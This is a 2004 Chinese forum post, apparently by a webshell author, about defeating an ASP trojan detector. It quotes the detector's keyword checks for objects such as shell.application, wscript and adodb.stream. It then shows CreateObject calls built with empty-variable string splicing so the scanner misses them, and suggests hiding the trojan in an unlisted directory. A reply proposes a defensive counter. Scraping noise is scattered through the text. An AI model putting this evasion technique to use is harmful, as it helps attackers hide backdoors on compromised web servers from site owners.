QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2103|回复: 1
打印 上一主题 下一主题

从容应对ASP木马追捕

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-6 02:16 |只看该作者 |倒序浏览
|招呼Ta 关注Ta

网上盛传ASP木马追捕,据说有位叫blueeyes的大侠编制了一ASP代码检查你的网站中是否含有可疑ASP..

3 f+ ^% z6 I) t% l

(ASP木马) 6 j1 j$ n4 B/ _1 i) s, x' r* K& a4 \你看 : ( f M4 y( i4 k% x8 ~/ q0 ~    if instr(filetxt,"scripting.filesystemobject")>0 then fso = yes else fso = no ; T) y7 Z# V' x   if fso = yes then 4 K1 L$ y6 X* `, }/ n, D: K4 S       if instr(filetxt,"deletefolder")>0 or instr(filetxt,"delete")>0 then del =yes else del = no % J0 a5 `; t6 r3 \& f5 n8 s      if instr(filetxt,"opentextfile")>0 or instr(filetxt,"createtextfile")>0 or instr(filetxt,"openastextstream")>0 then create =yes else create = no : q, Q! q, Q5 s      if instr(filetxt,"move")>0 then mov = yes else mov = no 9 U% q }/ A! c- ?* S7 `    end if a! W i3 }& P+ j) y5 E: s+ `, k   if instr(filetxt,"adodb.stream")>0 then stream = yes else stream = no * P; [3 R/ T. n; C1 c9 @    if instr(filetxt,"shell.application")>0 then shell = yes else shell = no ; ~3 `% A6 P8 ?$ v: @ \+ T- S    if instr(filetxt,"wscript")>0 then ws = yes else ws = no , z/ j2 @0 k; N4 m0 ]! t    if instr(filetxt,"xmlhttp")>0 then xmlhttp =yes else xmlhttp = no 4 R3 N1 Q. ~; G) k6 j   if instr(filetxt,"vbscript.encode")> 0 or instr(filetxt,"javascript.encode")> 0 then encode = yes else encode = no - @: L2 Q( K& E    filetxt = "" ( i8 }' ~; T: R7 l4 T 呵呵,厉害!!! $ y5 Z4 v c8 D+ i咱们的饭碗真的要被砸了吗? 1 o; P; b! R1 E1 t) ?道高一尺;魔高一丈;看我的! 0 Q1 a- Z/ B* i( l5 K1 X5 G 它不是检查创建对象里的字符串吗?好!我来加个空值的变量:

p* z- a& t0 X# P ; f2 y' Y, G h$ C7 D' N/ @, t5 V- o4 A( k7 d" \5 r

set im=server.CreateObject("Scr"&b&"ipting.Dictionary") 1 Y; }8 M6 F3 V* _set lP=server.CreateObject("Ado"&l&"db.Stream") 2 J' @3 P5 u( D; s set fB=Server.CreateObject("Scr"&u&"ipting.FileSystemObject") ; ~! D/ e$ F1 g% N! z7 l, v8 FSet tN=Server.CreateObject("WSC"&e&"RIPT.NETWORK") % W: H: {0 ^# d r: Bset sa=server.createobject("she"&e&"ll.application") 8 V7 ~$ @8 g: b- u% sset TV=server.createobject("WSC"&y&"RIPT.shell")

$ `' o2 n, |: F) y- h U* B

哈哈;刚刚加进一只眼我们可爱的蓝眼睛就视而不见啦! 1 _) i8 a( N, U 别忘了:我们加的是空值变量,而空值变量的名字在不违反ASP规则的前提下是可以随意起名字的 / b" }0 Y" p( J6 ?9 ?! c5 ~, z 中文英文;呵呵万国文字.蓝眼睛视力再好也是睁眼瞎耶 % B E, ~8 P* kBTW:其实把马放在我们那个小秘密里说的目录里蓝眼睛连哪个目录都看不见更别说看马里的代码了 + s2 V$ ^6 W5 Y& I" K, Q让蓝眼睛望马兴叹吧!!!....over

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
ilikenba 实名认证       

1万

主题

49

听众

2万

积分

  • TA的每日心情
    奋斗
    2024-6-23 05:14
  • 签到天数: 1043 天

    [LV.10]以坛为家III

    社区QQ达人 新人进步奖 优秀斑竹奖 发帖功臣

    群组万里江山

    群组sas讨论小组

    群组长盛证券理财有限公司

    群组C 语言讨论组

    群组Matlab讨论组

    是不是可以找到CreateObject,然后将他的括号里面的东西付给一个变量运行后再判断!
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-8-22 10:37 , Processed in 0.358211 second(s), 58 queries .

    回顶部